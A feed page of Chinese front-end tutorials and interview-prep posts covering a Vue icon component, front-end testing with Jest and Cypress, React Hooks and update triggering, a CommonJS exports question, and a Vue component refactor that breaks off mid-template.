// defineOptions:定义组件选项(如 name)
defineOptions({ name: 'MyIcon' })

3. 动态组件渲染

<!-- 根据变量动态渲染不同的组件 -->
<component :is="iconComponent" />

4. 插槽(Slot)

<!-- 允许父组件传入自定义内容 -->
<slot />

5. 条件渲染

<!-- v-if 和 v-else 实现条件渲染 -->
<component :is="iconComponent" v-if="iconComponent" />
<slot v-else />

扩展思考

如何添加新图标?

只需要在 iconMap 中添加新的映射:

import { SmileOutlined } from '@ant-design/icons-vue'

const iconMap: Record<string, Component> = {
  // ... 现有图标
  'smile': SmileOutlined,  // 添加新图标
}

如何支持图标旋转动画?

可以添加一个 spin 属性:

const props = defineProps({
  // ... 现有属性
  spin: {
    type: Boolean,
    default: false,
  },
})
<template>
  <span
    :class="[ns.b(), { 'is-spin': spin }]"
    :style="iconStyle"
  >
    <!-- ... -->
  </span>
</template>

<style>
.my-icon.is-spin {
  animation: icon-spin 1s linear infinite;
}

@keyframes icon-spin {
  from { transform: rotate(0deg); }
  to { transform: rotate(360deg); }
}
</style>

如何支持图标点击事件?

组件本身不需要处理,父组件直接绑定即可:

<MyIcon name="delete" @click="handleDelete" />

Vue 会自动将事件绑定到组件的根元素(<span>)上。


总结

通过这个 Icon 组件的实现,我们学到了:

  1. 组件设计原则:简单易用、高度可定制、扩展性强
  2. TypeScript 类型系统:PropType、CSSProperties、Record 等类型的使用
  3. Vue 3 核心特性:Composition API、computed、动态组件、插槽
  4. 工程化思维:通过映射表统一管理图标,提高可维护性

这个组件虽然代码不多(约 110 行),但包含了很多实用的设计模式和最佳实践,非常适合作为学习 Vue 3 组件开发的案例。

希望这篇文章能帮助你更好地理解组件的设计与实现!


相关资源


前端测试实战指南:构建高质量代码的完整体系

作者 bluceli
2026年3月15日 10:04

在现代前端开发中,测试已经成为保证代码质量的重要手段。本文将深入探讨前端测试的完整体系,包括单元测试、集成测试和端到端测试的最佳实践。

单元测试:构建稳固的代码基础

单元测试是前端测试的基石,它针对最小的可测试单元(通常是函数或组件)进行验证。Jest是当前最流行的JavaScript测试框架,它提供了简洁的API和强大的功能。

// 示例:使用Jest测试工具函数
describe('字符串工具函数测试', () => {
  test('应该正确反转字符串', () => {
    expect(reverseString('hello')).toBe('olleh');
  });
  
  test('应该处理空字符串', () => {
    expect(reverseString('')).toBe('');
  });
});

对于React组件,我们可以使用React Testing Library来测试组件的行为:

import { render, screen, fireEvent } from '@testing-library/react';
import Button from './Button';

test('按钮点击应该触发回调', () => {
  const handleClick = jest.fn();
  render(<Button onClick={handleClick}>点击我</Button>);
  
  fireEvent.click(screen.getByText('点击我'));
  expect(handleClick).toHaveBeenCalledTimes(1);
});

集成测试:验证组件协作

集成测试关注多个组件或模块之间的交互。在React应用中,我们可以测试组件树的行为:

import { render, screen } from '@testing-library/react';
import UserForm from './UserForm';

test('表单提交应该调用API', async () => {
  const mockSubmit = jest.fn().mockResolvedValue({ success: true });
  render(<UserForm onSubmit={mockSubmit} />);
  
  fireEvent.change(screen.getByLabelText('用户名'), { target: { value: 'testuser' } });
  fireEvent.click(screen.getByText('提交'));
  
  await waitFor(() => {
    expect(mockSubmit).toHaveBeenCalledWith({ username: 'testuser' });
  });
});

端到端测试:模拟真实用户场景

Cypress和Playwright是当前最流行的E2E测试工具。它们可以模拟真实用户操作,测试整个应用流程:

// Cypress示例
describe('用户登录流程', () => {
  it('应该成功登录并跳转到首页', () => {
    cy.visit('/login');
    cy.get('[data-testid="username"]').type('testuser');
    cy.get('[data-testid="password"]').type('password123');
    cy.get('[data-testid="login-button"]').click();
    
    cy.url().should('include', '/dashboard');
    cy.get('[data-testid="welcome-message"]').should('contain', '欢迎');
  });
});

测试覆盖率与质量门禁

测试覆盖率是衡量测试质量的重要指标。我们可以配置Jest生成覆盖率报告:

// jest.config.js
module.exports = {
  collectCoverage: true,
  coverageThreshold: {
    global: {
      branches: 80,
      functions: 80,
      lines: 80,
      statements: 80
    }
  }
};

持续集成中的测试

将测试集成到CI/CD流程中,可以在代码提交时自动运行测试:

# GitHub Actions示例
name: 测试
on: [push, pull_request]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - uses: actions/setup-node@v2
        with:
          node-version: '16'
      - run: npm install
      - run: npm test
      - run: npm run test:coverage

测试最佳实践

  1. 遵循AAA原则:Arrange(准备)、Act(执行)、Assert(断言)
  2. 测试行为而非实现:关注组件做什么,而不是怎么做
  3. 保持测试独立性:每个测试应该独立运行,不依赖其他测试
  4. 使用有意义的测试名称:清晰描述测试的目的
  5. 避免测试私有方法:只测试公共接口

总结

前端测试是构建高质量应用的重要保障。通过合理组合单元测试、集成测试和端到端测试,我们可以全面覆盖应用的各个层面。记住,测试的价值不仅在于发现bug,更在于为代码重构提供信心,为团队协作建立规范。

开始在你的项目中引入测试吧,你会发现代码质量和开发效率都会得到显著提升。

React Hooks的理解?常用的有哪些?

作者 光影少年
2026年3月15日 10:01

一、React Hooks 的理解

简单来说:

Hooks = 在函数组件中“钩入(Hook)”React状态和生命周期的函数。

它解决了几个问题:

1 让函数组件也能有状态

以前函数组件只能展示 UI,没有状态。

function Counter() {
  const [count, setCount] = useState(0)

  return (
    <button onClick={() => setCount(count + 1)}>
      {count}
    </button>
  )
}

2 替代复杂的生命周期

类组件生命周期:

componentDidMount
componentDidUpdate
componentWillUnmount

Hooks 用 useEffect 统一管理。


3 逻辑复用更简单

以前复用逻辑需要:

  • HOC(高阶组件)
  • Render Props

Hooks 可以直接抽成函数:

function useUser() {
  const [user, setUser] = useState(null)
}

二、常用 React Hooks

开发中最常用的大概 7 个


1 useState(最常用)

用于 管理组件状态

import { useState } from "react"

function Demo() {
  const [count, setCount] = useState(0)

  return (
    <div>
      <p>{count}</p>
      <button onClick={() => setCount(count + 1)}>+1</button>
    </div>
  )
}

特点:

  • useState(初始值)
  • 返回 [state, setState]
  • setState 会触发组件重新渲染

2 useEffect(生命周期)

用于 处理副作用

  • 请求接口
  • 操作 DOM
  • 订阅事件
  • 定时器
import { useEffect } from "react"

useEffect(() => {
  console.log("组件加载")

  return () => {
    console.log("组件卸载")
  }
}, [])

依赖数组控制执行:

写法 含义
useEffect(fn) 每次渲染执行
useEffect(fn, []) 只执行一次
useEffect(fn, [a]) a变化执行

3 useRef

用于:

1️⃣ 获取 DOM
2️⃣ 保存变量(不触发渲染)

const inputRef = useRef(null)

<input ref={inputRef} />

inputRef.current.focus()

4 useContext

用于 跨组件传值(避免 props 逐层传递)。

const ThemeContext = createContext()

function App() {
  return (
    <ThemeContext.Provider value="dark">
      <Child />
    </ThemeContext.Provider>
  )
}

function Child() {
  const theme = useContext(ThemeContext)
}

5 useMemo(性能优化)

缓存计算结果

防止重复计算。

const result = useMemo(() => {
  return expensiveFunction(a, b)
}, [a, b])

只有 a b 变化才重新计算。


6 useCallback

缓存函数

防止子组件重复渲染。

const handleClick = useCallback(() => {
  console.log("click")
}, [])

常配合 React.memo 使用。


7 useReducer

用于 复杂状态管理(类似 Redux)。

const [state, dispatch] = useReducer(reducer, initialState)

dispatch({ type: "add" })

适合:

  • 多状态
  • 状态依赖复杂

三、Hooks 使用规则(面试必问)

React Hooks 必须遵守两个规则

1 只能在函数组件或自定义 Hook 中使用

❌ 错误

if (a) {
  useState()
}

2 必须在组件顶层调用

不能在:

  • if
  • for
  • function

里面调用。


四、自定义 Hook(高级)

可以封装逻辑。

例如封装请求:

function useFetch(url) {
  const [data, setData] = useState(null)

  useEffect(() => {
    fetch(url).then(res => res.json()).then(setData)
  }, [url])

  return data
}

使用:

const data = useFetch("/api/user")

五、React Hooks 优势总结

优势 说明
代码更简洁 不需要 class
逻辑复用 自定义 Hook
生命周期更清晰 useEffect
减少嵌套 不需要 HOC

记录commonjs的一道面试题

作者 段常人
2026年3月15日 09:13
  • 如下代码,写出这段代码的导出结果
// 2.js
this.a = 1;
exports.b = 2;
exports = {
    c: 3,
}
module.exports = {
    d: 4,
}
exports.e = 5;
this.f = 6;
  • 在其他文件导入2.js,可以看到导入结果
// 1.js
const r = require('./2');
console.log(r)
  • 看下require函数做了什么
function require(modulePath){
    // 根据模块的url,判断模块完整的绝对路径
    var moduleId = getModuleId(modulePath);
    // 判断缓存
    if(cache[moduleId]){
        return cache[moduleId];
    }
    // 运行模块代码的辅助函数
    function _require(exports, require, module, __filename, __dirname){
        // 目标模块在这里运行
    }
    var module = {
        exports: {},
    }
    var exports = module.exports;
    //模块文件的绝对路径
    var __filename = moduleId;
    // 获取模块所在目录的绝对路径
    var __dirname = getDirname(__filename);
    _require.call(exports,exports,require,module,__filename,__dirname);
    
    // 添加缓存
    cache[moduleId] = module.exports;
    
    // 返回结果
    return module.exports;
}
  • 知道require的实现应该知道打印的结果了

React 更新触发原理详解

作者 Wect
2026年3月15日 09:07

核心结论(面试开篇必说):React 的更新触发本质上是 状态(State)/属性(Props)/上下文(Context)发生变化 后,React 调度组件重新渲染的过程。简单说,就是“依赖的数据变了,React 就会重新渲染组件,更新页面”。下面从「触发源」「执行流程」「关键细节(避坑点)」「核心底层逻辑」「面试常考问题」五个维度,讲透更新触发的全流程,兼顾通俗理解和专业表述,适合面试直接背诵。

一、更新的核心触发源(4类,重中之重)

React 组件不会“无缘无故”更新,核心原因是「它依赖的数据变了」。这4类触发场景,面试必问,务必记牢,结合示例理解更易背诵。

1. 状态(State)变化(最核心、最常见)

通俗说:组件自己“内部的数据”变了,就会触发更新。比如计数器的数字、表单的输入值,都是 State,修改它们就会让组件重新渲染。

专业表述:通过 React 提供的「状态更新函数」修改组件内部状态,是触发更新的首要方式,分类组件和函数组件两种写法。

  • 类组件:调用 this.setState()(推荐)或 this.forceUpdate()(强制更新,不推荐)。

    • 关键细节:setState异步的(合成事件、生命周期钩子中),React 会批量处理多次 setState,避免频繁渲染(比如连续调用2次 setState,只会渲染1次)。

    • 面试可用示例(简洁好记):

    class Counter extends React.Component {
      state = { count: 0 };
      handleClick = () => {
        // 触发更新:修改state后,组件重新执行render
        this.setState({ count: this.state.count + 1 });
      };
      render() {
        return <button onClick={this.handleClick}>{this.state.count}</button>;
      }
    }
    
  • 函数组件:调用useState 返回的更新函数,或 useReducerdispatch 方法(复杂状态管理用)。

    • 关键细节:和类组件的 setState 类似,更新函数也是异步批量处理,避免无效渲染。

    • 面试可用示例(简洁好记):

    function Counter() {
      const [count, setCount] = React.useState(0);
      const handleClick = () => {
        // 触发更新:调用setCount后,组件重新执行
        setCount(count + 1);
      };
      return <button onClick={handleClick}>{count}</button>;
    }
    

2. 属性(Props)变化(父子组件通信相关)

通俗说:父组件给子组件“传的数据”变了,子组件就会跟着更新(除非手动阻止)。比如父组件传一个“用户名”给子组件,用户名变了,子组件就会重新渲染显示新的用户名。

专业表述:父组件传递给子组件的 Props 发生变化时,子组件会触发更新;父组件自身更新时,会重新计算子组件的 Props,即使 Props 看起来没变化(比如传递新的对象/函数引用),子组件也会默认更新。

面试可用示例(简洁好记):

// 父组件更新 → 子组件Props变化 → 子组件更新
function Parent() {
  const [name, setName] = React.useState("React");
  return (
    <div>
      <button onClick={() => setName("Vue")}>修改名称</button>
      <Child name={name} /> // 父组件name变了,子组件Props变化
    </div>
  );
}
function Child({ name }) {
  // 父组件修改name后,这里会重新渲染
  return <div>名称:{name}</div>;
}

3. 上下文(Context)变化(跨组件通信相关)

通俗说:多个组件共享的“全局数据”变了,所有用到这个数据的组件都会更新。比如全局主题(浅色/深色),切换主题后,所有使用主题的组件都会重新渲染。

专业表述:组件通过 useContext(函数组件)或 Context.Consumer(类组件)订阅了上下文,当上下文的 Providervalue 发生变化时,所有订阅该上下文的组件都会触发更新。

面试可用示例(简洁好记):

const ThemeContext = React.createContext();
function Parent() {
  const [theme, setTheme] = React.useState("light");
  return (
    <ThemeContext.Provider value={theme}> // 提供上下文数据
      <button onClick={() => setTheme("dark")}>切换主题</button>
      <Child /> // 子组件订阅上下文
    </ThemeContext.Provider>
  );
}
function Child() {
  // 上下文变化 → 组件更新
  const theme = React.useContext(ThemeContext);
  return <div>当前主题:{theme}</div>;
}

4. 其他特殊触发方式(面试易考补充)

这类场景不常用,但面试常问“还有哪些方式能触发更新”,记3个核心即可:

  • useState/useReducer 的更新函数接收「函数参数」时,即使最终值未变化,也会触发更新(但 React 会跳过无变化的渲染,不会更新真实 DOM);

  • 类组件 this.forceUpdate():强制触发更新,跳过 shouldComponentUpdate 检查(不推荐,会导致不必要的渲染);

  • React 18+ 新增 useSyncExternalStore:用于订阅外部数据源(如 Redux、localStorage),当外部数据源变化时,触发组件更新。

二、更新的执行流程(简化版,面试直接背)

核心口诀:调度 → 渲染 → 提交(3步走,通俗+专业结合,好记不绕)

触发更新后(比如调用 setState),React 不会立刻更新页面,而是按以下步骤有序执行,核心是“高效更新,只更变化的部分”:

1. 调度(Schedule):排优先级,入队列

通俗说:React 收到更新请求后,先判断“这个更新有多紧急”,比如用户点击按钮(高优先级)要立刻响应,定时器回调(低优先级)可以缓一缓,然后把更新请求加入调度队列,按优先级排序。

专业表述:React 接收到更新请求后,根据更新的优先级(由 Lane 机制标记),将更新加入调度队列,优先处理高优先级更新,避免卡顿(比如用户交互不会被低优先级更新阻塞)。

2. 渲染(Render):生成虚拟DOM,做Diff对比

通俗说:React 从触发更新的组件开始,像“查家谱”一样,递归遍历整个组件树,生成一份新的“虚拟DOM”(可以理解为页面的“虚拟蓝图”),然后和旧的虚拟DOM对比,找出“不一样的地方”(也就是需要更新的部分)。

专业表述:从触发更新的组件出发,递归遍历组件树,执行组件的 render 方法(函数组件直接执行组件本身),生成新的虚拟 DOM(VNode);通过 React 的 Diff 算法(协调算法,Reconciliation)对比新旧虚拟 DOM,找出最小更新集(只更新变化的节点,不更新整个页面)。

3. 提交(Commit):更新真实DOM,执行副作用

通俗说:React 把 Diff 对比找到的“变化部分”,应用到真实的页面上(也就是更新浏览器的 DOM),完成页面更新;同时执行一些“副作用”,比如类组件的生命周期、函数组件的 useEffect。

专业表述:将 Diff 算法的结果应用到真实 DOM 上,完成页面更新;此时类组件会执行 componentDidUpdate 生命周期钩子,函数组件会执行 useEffect(只有依赖项发生变化时才会执行)。

三、关键细节(避坑点,面试高频提问)

这部分是面试“拉开差距”的地方,不仅要记,还要能说清“为什么”和“怎么解决”,结合场景记忆。

1. setState 的异步特性(必考)

核心问题:为什么调用 setState 后,立刻打印 this.state,拿到的还是旧值?

通俗解释:React 为了提高性能,会把多个 setState 合并成一次更新,所以在合成事件(比如 onClick、onChange)、生命周期钩子(比如 componentDidMount)中,setState 是异步的,不会立刻更新 state。

特殊情况:在原生事件(比如 addEventListener 绑定的事件)、定时器(setTimeout、setInterval)中,setState 是同步的,能立刻拿到最新 state。

解决方法(面试必说):用 setState 的「函数形式」,接收 prevState(上一次的状态)作为参数,就能拿到最新的 state:

// 正确写法,能拿到最新state
this.setState(prevState => ({ count: prevState.count + 1 }));
// 错误写法,可能拿到旧值(异步场景下)
this.setState({ count: this.state.count + 1 });

2. 避免不必要的更新(性能优化,必考)

核心问题:如何减少 React 组件的无效渲染?(比如父组件更新,子组件没变化也跟着更新)

分组件类型给出解决方案(通俗+专业,好记):

  • 函数组件:用 React.memo 包裹组件,它会浅比较 Props,Props 没变化就不会重新渲染;

  • 类组件:重写 shouldComponentUpdate 钩子,手动判断 Props/State 是否变化,返回 true 才更新,返回 false 阻止更新;

  • 通用优化:传递 Props 时,避免创建新的引用(比如不要在 Props 中直接写箭头函数、新建对象),用 useCallback 缓存函数、useMemo 缓存对象/计算结果。

3. React 18+ 批量更新(新增考点)

核心变化:React 18 之前,只有合成事件、生命周期中会批量更新;React 18 之后,默认对所有更新(包括定时器、原生事件中)进行批量处理,进一步减少渲染次数。

特殊需求:如果需要同步更新(比如更新后立刻获取 DOM 信息),用ReactDOM.flushSync() 包裹更新操作:

import ReactDOM from 'react-dom';

// 同步更新,执行完setState后,能立刻拿到最新DOM
ReactDOM.flushSync(() => {
  setCount(count + 1);
});

四、核心底层逻辑(面试拔高,不用看源码,直接背)

面试常问:setState / dispatch 到底做了什么?(不用讲源码,说清逻辑顺序即可,记下面这段,直接背诵)

核心逻辑(分4步,清晰好记):

  1. 调用 setState(或 dispatch)后,React 会创建一个「update 对象」(记录更新的内容、优先级等信息);

  2. 将这个 update 对象放入「更新队列(updateQueue)」中;

  3. 通过「Lane 机制」给这个更新标记优先级(高优先级优先执行);

  4. React 调度器(Scheduler)触发渲染流程,开始执行“调度 → 渲染 → 提交”的步骤。

总结一句(面试必说):setState 本身不会立刻更新 state,它只是创建一个更新请求,React 会根据优先级统一调度,批量处理更新,最终完成组件渲染和 DOM 更新

五、面试常考问题(直接背诵答案,覆盖90%考点)

以下问题,直接记答案,面试时直接回答,不用临场组织语言,高效得分。

1. 问:React 组件更新的触发条件有哪些?

答:核心是依赖的数据发生变化,主要有4类:① State 变化(调用 setState、useState 更新函数、useReducer 的 dispatch);② Props 变化(父组件传递的 Props 改变,或父组件更新导致 Props 重新计算);③ Context 变化(订阅的 Context.Provider 的 value 变化);④ 特殊方式(forceUpdate、useSyncExternalStore、useState/useReducer 函数参数触发的更新)。

2. 问:setState 是同步还是异步的?为什么?

答:分场景:① 合成事件(onClick 等)、生命周期钩子中,setState 是异步的;② 原生事件、定时器中,setState 是同步的。原因:React 为了优化性能,会批量处理多个 setState 请求,避免频繁渲染,所以在异步场景下会延迟更新 state,合并多次更新。

3. 问:如何解决 setState 异步导致的“拿不到最新 state”问题?

答:使用 setState 的函数形式,接收 prevState 作为参数,prevState 是上一次的最新状态,通过它计算新状态,就能确保拿到最新值,示例:this.setState(prevState => ({ count: prevState.count + 1 }))。

4. 问:父组件更新,子组件一定会更新吗?如何避免不必要的更新?

答:不一定。父组件更新时,会重新计算子组件的 Props,即使 Props 没变化(比如传递新的函数/对象引用),子组件也会默认更新。避免方法:① 函数组件用 React.memo 包裹,浅比较 Props;② 类组件重写 shouldComponentUpdate 钩子,手动判断是否更新;③ 用 useCallback 缓存函数、useMemo 缓存对象,避免传递新引用。

5. 问:React 更新的执行流程是什么?

答:核心3步:① 调度(Schedule):接收更新请求,标记优先级,加入调度队列;② 渲染(Render):递归遍历组件树,生成新虚拟 DOM,通过 Diff 算法对比新旧虚拟 DOM,找出变化部分;③ 提交(Commit):将变化应用到真实 DOM,执行副作用(componentDidUpdate、useEffect)。

6. 问:React 18 中批量更新有什么变化?

答:React 18 之前,只有合成事件、生命周期中支持批量更新;React 18 之后,默认对所有场景(包括定时器、原生事件)进行批量更新,减少渲染次数。如需同步更新,可用 ReactDOM.flushSync() 包裹更新操作。

7. 问:useState 和 setState 的区别?(延伸考点)

答:① 用法不同:useState 用于函数组件,返回 [state, 更新函数];setState 用于类组件,是 this 的方法;② 状态更新方式不同:useState 的更新函数是直接替换状态(不会合并),setState 会自动合并同名状态;③ 异步特性一致:两者在合成事件、生命周期中都是异步的,原生事件、定时器中是同步的。

总结

React 更新的核心是“依赖数据变化触发调度渲染”,记住3个核心:① 触发源(State/Props/Context 为主);② 执行流程(调度→渲染→提交);③ 优化点(避免无效更新、理解 setState 异步)。

组件拆分重构 App.vue

作者 前端付豪
2026年3月15日 07:32

先这样拆解 不然越来越乱

src/
  components/
    StudentBar.vue
    TabNav.vue
    SolvePanel.vue
    HistoryPanel.vue
    WrongPanel.vue

1)新增 src/components/StudentBar.vue

<template>
  <div class="student-bar">
    <select
      :value="currentStudentId"
      class="student-select"
      @change="onStudentChange"
    >
      <option v-for="item in studentList" :key="item.id" :value="item.id">
        {{ item.name }}
      </option>
    </select>

    <input
      :value="newStudentName"
      class="student-input"
      placeholder="输入新学生姓名"
      @input="onNameInput"
    />

    <button class="retry-btn" @click="$emit('create-student')">
      新增学生
    </button>

    <button class="wrong-btn" @click="$emit('export-report')">
      导出练习单
    </button>
  </div>
</template>

<script setup lang="ts">
import type { StudentItem } from '../api/math'

defineProps<{
  studentList: StudentItem[]
  currentStudentId: number
  newStudentName: string
}>()

const emit = defineEmits<{
  (e: 'update:currentStudentId', value: number): void
  (e: 'update:newStudentName', value: string): void
  (e: 'student-change'): void
  (e: 'create-student'): void
  (e: 'export-report'): void
}>()

const onStudentChange = (event: Event) => {
  const value = Number((event.target as HTMLSelectElement).value)
  emit('update:currentStudentId', value)
  emit('student-change')
}

const onNameInput = (event: Event) => {
  emit('update:newStudentName', (event.target as HTMLInputElement).value)
}
</script>

<style scoped>
.student-bar {
  display: flex;
  gap: 12px;
  align-items: center;
  margin-bottom: 20px;
}

.student-select,
.student-input {
  height: 40px;
  padding: 0 12px;
  border: 1px solid #ddd;
  border-radius: 8px;
  background: #fff;
  outline: none;
}

.retry-btn {
  padding: 8px 14px;
  border: none;
  background: #2080f0;
  color: #fff;
  border-radius: 8px;
  cursor: pointer;
}

.wrong-btn {
  padding: 8px 14px;
  border: none;
  background: #f0a020;
  color: #fff;
  border-radius: 8px;
  cursor: pointer;
}
</style>

2)新增 src/components/TabNav.vue

<template>
  <div class="tabs">
    <button
      v-for="item in tabList"
      :key="item.value"
      :class="['tab-btn', activeTab === item.value ? 'active' : '']"
      @click="$emit('change', item.value)"
    >
      {{ item.label }}
    </button>
  </div>
</template>

<script setup lang="ts">
defineProps<{
  activeTab: 'solve' | 'history' | 'wrong' | 'report' | 'suggestion'
}>()

defineEmits<{
  (e: 'change', value: 'solve' | 'history' | 'wrong' | 'report' | 'suggestion'): void
}>()

const tabList = [
  { label: '题目解析', value: 'solve' },
  { label: '历史记录', value: 'history' },
  { label: '错题本', value: 'wrong' },
  { label: '学习报告', value: 'report' },
  { label: '学习建议', value: 'suggestion' },
] as const
</script>

<style scoped>
.tabs {
  display: flex;
  gap: 12px;
  margin-bottom: 20px;
}

.tab-btn {
  padding: 8px 16px;
  border: 1px solid #ddd;
  background: #fff;
  border-radius: 8px;
  cursor: pointer;
}

.tab-btn.active {
  background: #18a058;
  color: #fff;
  border-color: #18a058;
}
</style>

3)新增 src/components/SolvePanel.vue

<template>
  <div>
    <div class="upload-area">
      <label class="upload-btn">
        {{ imageLoading ? '识别中...' : '上传题目图片' }}
        <input
          type="file"
          accept="image/*"
          class="file-input"
          :disabled="imageLoading"
          @change="$emit('image-change', $event)"
        />
      </label>
    </div>

    <textarea
      :value="question"
      class="question-input"
      placeholder="请输入一道数学题,例如:解方程 3x + 5 = 11"
      @input="$emit('update:question', ($event.target as HTMLTextAreaElement).value)"
    />

    <button class="submit-btn" @click="$emit('submit')" :disabled="loading">
      {{ loading ? '解析中...' : '开始解析' }}
    </button>

    <div v-if="result" class="result-card">
      <div class="card-header">
        <h2>本次解析结果</h2>

        <div class="card-actions">
          <button class="retry-btn" @click="$emit('regenerate', result.id)">
            {{ regenerateLoadingMap[result.id] ? '生成中...' : '再练一题' }}
          </button>

          <button class="wrong-btn" @click="$emit('toggle-wrong', result)">
            {{ result.is_wrong ? '取消错题' : '加入错题本' }}
          </button>
        </div>
      </div>

      <h3>题目</h3>
      <p>{{ result.question }}</p>

      <h3>答案</h3>
      <p>{{ result.answer }}</p>

      <h3>步骤解析</h3>
      <ol>
        <li v-for="(step, index) in result.steps" :key="index">{{ step }}</li>
      </ol>

      <h3>知识点</h3>
      <ul>
        <li v-for="(kp, index) in result.knowledge_points" :key="index">{{ kp }}</li>
      </ul>

      <h3>相似题</h3>
      <p>{{ result.similar_question }}</p>

      <div v-if="regeneratedMap[result.id]" class="regenerated-box">
        <h3>再练一题</h3>
        <p>{{ regeneratedMap[result.id].question }}</p>

        <h3>答案</h3>
        <p>{{ regeneratedMap[result.id].answer }}</p>

        <h3>步骤解析</h3>
        <ol>
          <li v-for="(step, idx) in regeneratedMap[result.id].steps" :key="idx">
            {{ step }}
          </li>
        </ol>
      </div>
    </div>

    <div class="practice-panel">
      <h2>按知识点生成练习题</h2>
      <div class="practice-form">
        <input
          :value="practiceKnowledge"
          class="practice-input"
          placeholder="请输入知识点,例如:一元一次方程"
          @input="$emit('update:practiceKnowledge', ($event.target as HTMLInputElement).value)"
        />
        <button class="submit-btn" @click="$emit('generate-practice')" :disabled="practiceLoading">
          {{ practiceLoading ? '生成中...' : '生成练习题' }}
        </button>
      </div>

      <div v-if="practiceList.length" class="practice-list">
        <div v-for="(item, index) in practiceList" :key="index" class="result-card">
          <h3>练习题 {{ index + 1 }}</h3>
          <p>{{ item.question }}</p>

          <h3>答案</h3>
          <p>{{ item.answer }}</p>

          <h3>步骤解析</h3>
          <ol>
            <li v-for="(step, idx) in item.steps" :key="idx">{{ step }}</li>
          </ol>
        </div>
      </div>
    </div>
  </div>
</template>

<script setup lang="ts">
import type { PracticeQuestionItem, SolveResponse } from '../api/math'

defineProps<{
  question: string
  loading: boolean
  imageLoading: boolean
  result: (SolveResponse & { question: string }) | null
  practiceKnowledge: string
  practiceLoading: boolean
  practiceList: PracticeQuestionItem[]
  regenerateLoadingMap: Record<number, boolean>
  regeneratedMap: Record<number, PracticeQuestionItem>
}>()

defineEmits<{
  (e: 'update:question', value: string): void
  (e: 'submit'): void
  (e: 'image-change', event: Event): void
  (e: 'toggle-wrong', item: SolveResponse & { question: string }): void
  (e: 'regenerate', id: number): void
  (e: 'update:practiceKnowledge', value: string): void
  (e: 'generate-practice'): void
}>()
</script>

<style scoped>
.upload-area {
  margin-bottom: 16px;
}

.upload-btn {
  display: inline-flex;
  align-items: center;
  padding: 10px 16px;
  background: #2080f0;
  color: #fff;
  border-radius: 8px;
  cursor: pointer;
}

.file-input {
  display: none;
}

.question-input {
  width: 100%;
  min-height: 140px;
  padding: 12px;
  border: 1px solid #ddd;
  border-radius: 8px;
  resize: vertical;
  font-size: 16px;
  box-sizing: border-box;
}

.submit-btn {
  margin-top: 16px;
  padding: 10px 18px;
  border: none;
  background: #18a058;
  color: #fff;
  border-radius: 8px;
  cursor: pointer;
}

.result-card {
  margin-top: 24px;
  padding: 20px;
  background: #fafafa;
  border-radius: 8px;
}

.card-header {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 12px;
}

.card-actions {
  display: flex;
  gap: 8px;
}

.retry-btn {
  padding: 8px 14px;
  border: none;
  background: #2080f0;
  color: #fff;
  border-radius: 8px;
  cursor: pointer;
}

.wrong-btn {
  padding: 8px 14px;
  border: none;
  background: #f0a020;
  color: #fff;
  border-radius: 8px;
  cursor: pointer;
}

.practice-panel {
  margin-top: 32px;
}

.practice-form {
  display: flex;
  gap: 12px;
  margin-bottom: 16px;
}

.practice-input {
  flex: 1;
  height: 40px;
  padding: 0 12px;
  border: 1px solid #ddd;
  border-radius: 8px;
  outline: none;
}

.practice-list {
  margin-top: 16px;
}

.regenerated-box {
  margin-top: 16px;
  padding: 16px;
  background: #f0f7ff;
  border-radius: 8px;
}
</style>

4)新增 src/components/HistoryPanel.vue

<template>
  <div>
    <div v-if="historyList.length === 0" class="empty">暂无历史记录</div>

    <div v-for="item in historyList" :key="item.id" class="result-card">
      <div class="card-header">
        <h2>记录 #{{ item.id }}</h2>

        <div class="card-actions">
          <button class="retry-btn" @click="$emit('regenerate', item.id)">
            {{ regenerateLoadingMap[item.id] ? '生成中...' : '再练一题' }}
          </button>

          <button class="wrong-btn" @click="$emit('toggle-wrong', item)">
            {{ item.is_wrong ? '取消错题' : '加入错题本' }}
          </button>
        </div>
      </div>

      <h3>题目</h3>
      <p>{{ item.question }}</p>

      <h3>答案</h3>
      <p>{{ item.answer }}</p>

      <h3>步骤解析</h3>
      <ol>
        <li v-for="(step, idx) in item.steps" :key="idx">{{ step }}</li>
      </ol>

      <h3>知识点</h3>
      <ul>
        <li v-for="(kp, idx) in item.knowledge_points" :key="idx">{{ kp }}</li>
      </ul>

      <h3>相似题</h3>
      <p>{{ item.similar_question }}</p>

      <div v-if="regeneratedMap[item.id]" class="regenerated-box">
        <h3>再练一题</h3>
        <p>{{ regeneratedMap[item.id].question }}</p>

        <h3>答案</h3>
        <p>{{ regeneratedMap[item.id].answer }}</p>

        <h3>步骤解析</h3>
        <ol>
          <li v-for="(step, idx) in regeneratedMap[item.id].steps" :key="idx">
            {{ step }}
          </li>
        </ol>
      </div>
    </div>
  </div>
</template>

<script setup lang="ts">
import type { HistoryItem, PracticeQuestionItem } from '../api/math'

defineProps<{
  historyList: HistoryItem[]
  regenerateLoadingMap: Record<number, boolean>
  regeneratedMap: Record<number, PracticeQuestionItem>
}>()

defineEmits<{
  (e: 'toggle-wrong', item: HistoryItem): void
  (e: 'regenerate', id: number): void
}>()
</script>

<style scoped>
.empty {
  padding: 32px 0;
  text-align: center;
  color: #999;
}

.result-card {
  margin-top: 24px;
  padding: 20px;
  background: #fafafa;
  border-radius: 8px;
}

.card-header {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 12px;
}

.card-actions {
  display: flex;
  gap: 8px;
}

.retry-btn {
  padding: 8px 14px;
  border: none;
  background: #2080f0;
  color: #fff;
  border-radius: 8px;
  cursor: pointer;
}

.wrong-btn {
  padding: 8px 14px;
  border: none;
  background: #f0a020;
  color: #fff;
  border-radius: 8px;
  cursor: pointer;
}

.regenerated-box {
  margin-top: 16px;
  padding: 16px;
  background: #f0f7ff;
  border-radius: 8px;
}
</style>

5)新增 src/components/WrongPanel.vue

<template>
  <div>
    <div v-if="wrongList.length === 0" class="empty">暂无错题</div>

    <div v-for="item in wrongList" :key="item.id" class="result-card">
      <div class="card-header">
        <h2>错题 #{{ item.id }}</h2>

        <div class="card-actions">
          <button class="retry-btn" @click="$emit('regenerate', item.id)">
            {{ regenerateLoadingMap[item.id] ? '生成中...' : '再练一题' }}
          </button>

          <button class="wrong-btn" @click="$emit('toggle-wrong', item)">
            取消错题
          </button>
        </div>
      </div>

      <h3>题目</h3>
      <p>{{ item.question }}</p>

      <h3>答案</h3>
      <p>{{ item.answer }}</p>

      <h3>步骤解析</h3>
      <ol>
